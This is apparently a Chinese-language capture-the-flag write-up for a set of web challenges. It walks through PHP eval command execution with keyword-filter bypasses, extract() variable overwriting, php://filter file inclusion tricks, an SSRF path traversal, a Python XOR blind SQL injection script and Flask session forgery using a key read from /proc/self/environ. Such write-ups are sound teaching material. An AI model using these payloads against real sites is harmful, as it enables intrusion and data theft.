basic rce

点开题目链接

看到eval(),assert()等可以注入
先看一下目录里有什么,构造?a=system(“ls”);注意分号不能少(system也可以换成passthru,ls也可以换成find —或dir)
发现 出现flag了
再尝试构造?a=system(“cat f111a9.php”);

结果不行,大概有过滤,那就换tac试试(tac也可以换成sort,uniq),出现结果

php变量覆盖

点开链接,查看源代码

注意到extract()函数,该函数使用数组键名作为变量名,使用数组键值作为变量值。针对数组中的每个元素,将在当前符号表中创建对应的一个变量。若有同名函数会出现覆盖的情况。
因此,读入flag和liwu,使他们为空,构造payload:?flag=&liwu=(也可构造?liwu=&content=)

basic rce2

进入链接,根据提示和eval函数,又是远程代码执行,且需要将指令输入到Rem变量里
注意到preg_match函数

引号里面的正则表达式过滤了more,less,flag,head,nl,tail,tac,cat,rm,cp,mv,*,{
先构造?Rem=system("ls");看看目录

看到了flag文件,打开即可,除去过滤的剩下的还有一个查看命令sort,flag被过滤可以用fl’’ag绕过
构造?Rem=system("sort%20fl%27%27ag");

php变量覆盖2

进入链接,分析代码

​ 第一个if要求使用POST提交方式,第二个if要求用POST给flag变量赋值,但这会覆盖掉原来的flag,第一个循环用GET提交,并将键名和键值分别声明为一个变量,再将以键值的值声明的变量的值赋给以键名的值声明的变量中,第二个循环用POST提交,将键值赋给以键名的值声明的变量中,最后一个if用POST提交flag,若不等于flag变量里的值,输出_403里的值
​ 为了避免flag被覆盖掉,我们可以将flag里的值先传给_200(因为最终输出_200),利用第一个循环构造?_200=flag,再用POST随便提交一个flag
效果如下:

伪协议1

进入链接,发现过滤了不少协议,基本都过滤了,就剩http和phar了,然而也没啥用

有个include,说明存在文件包含漏洞,
注意preg_match是默认区分大小写的(若添加/i参数则大小写不敏感)
则可利用php://filter进行文件读取,构造payload如下进行尝试:

?file=Php://filter/resource=flag
当然大小写不仅限于第一个p,只要关键字里有大写字母就行,但结果不行,估计代码被执行了或是藏在注释里

还可以base64转码之后再输出,之后再拿去转码,payload如下:
?file=Php://filter/read=convert.Base64-encode/resource=flag

伪协议2

乍一看和1没啥区别,其实不然,在正则匹配后面多了个/i,表示对大小写不敏感,那么前一题的方法就不能再用了

注意到$a=str_replace("troye","",$file);,意思是将$file文件里的troye都换成空。题目是不会给多余条件的,这就是可以利用的点。在构造payload时将troye插入关键字里,在替换时又被替换为空,不影响原指令的执行。
构造payload如下:

?file=ptroyehp://filter/resource=flag

结果和上题一样不行,那就base64转码之后再输出,构造payload如下:

?file=ptroyehp://filter/read=convert.btroyease64-encode/resource=flag

再拿去base64转码即可

ssrf1

进入链接,分析代码,需要给url传入一个值,第一个if语句有个正则匹配,需要先填入一个dotnet.com,第二个if语句过滤了php,file,zip,bzip,zlib,base,data,且不区分大小写,好像封堵了众多伪协议的路。

根据提示file_get_contents()有啥用呢,先了解一下file_get_contents()的用法

另外:当PHP的 file_get_contents() 函数在遇到不认识的伪协议头时候会将伪协议头当做文件夹,造成目录穿越漏洞,这时候只需不断往上跳转目录即可读到根目录的文件。这个方法可以在SSRF的众多协议被ban的情况下来进行读取文件
所以先构造?url=dotnet.com1://../flag进行尝试,其中1://是随便取的一个协议

看来不行,那就试试?url=dotnet.com1://../../flag,发现也不行,那就继续试,直到
?url=dotnet.com1://../../.../../flag出现flag

Love

进去之后只有一个输入框,源码也无提示,盲猜sql注入。经尝试1-10都有对应回显,且无报错。大概率盲注。
经尝试发现:构造1'^0#正确回显,构造1'^1#错误回显,由此入手异或盲注。
脚本如下:

import requests

flag=""
url="http://henuctf.com:5555/Love/"

for i in range(1,100):
l=32
r=127
mid=(l+r)//2
while l<r:
""" 表名 flaghere,laopo
data={"name":"1'^(ord(mid((seselectlect(group_concat(table_name))frfromom(information_schema.tables)where(table_schema=database())),{0},1))>{1})#".format(i,mid),
"submit":"%E7%AB%8B%E5%8D%B3%E5%8C%B9%E9%85%8D"}
"""
""" 列名 yourflag
data={"name":"1'^(ord(mid((seselectlect(group_concat(column_name))frfromom(information_schema.columns)where(table_name='flaghere')),{0},1))>{1})#".format(i,mid),
"submit":"%E7%AB%8B%E5%8D%B3%E5%8C%B9%E9%85%8D"}
"""
data={"name":"1'^(ord(mid((seselectlect(yourflag)frfromom(flaghere)),{0},1))>{1})#".format(i,mid),
"submit":"%E7%AB%8B%E5%8D%B3%E5%8C%B9%E9%85%8D"}
response=requests.post(url,data=data)
if "你的另一半可能不在这个世界呢" in response.text:
l=mid+1
mid=(l+r)//2
else:
r=mid
mid=(l+r)//2
flag+=chr(r)
print(flag)




效果图:

shop

flask session伪造
flask是把session存在客户端的,而且只经过base64编码和用密钥签名,虽然没有签名不可以伪造session,但是有很多信息我们可以直接从session解码找出来。
抓包获取session,利用脚本解密之后注意到有个purchases,要想获取flag里面就得写Flag姐姐

而session加密需要密钥,根据提示,密钥在环境变量/proc/self/environ里,盲猜download/?pic=../../proc/self/environ,下载得一个文件,获得密钥SK7BM6DwM52ByfSmNJfP1QYe4MdXnMUW3ibrL8At
利用脚本加密{‘balance’:2000,’purchases’:[‘Flag姐姐’]},使余额大于1337,获得伪造的session

提交之后获得flag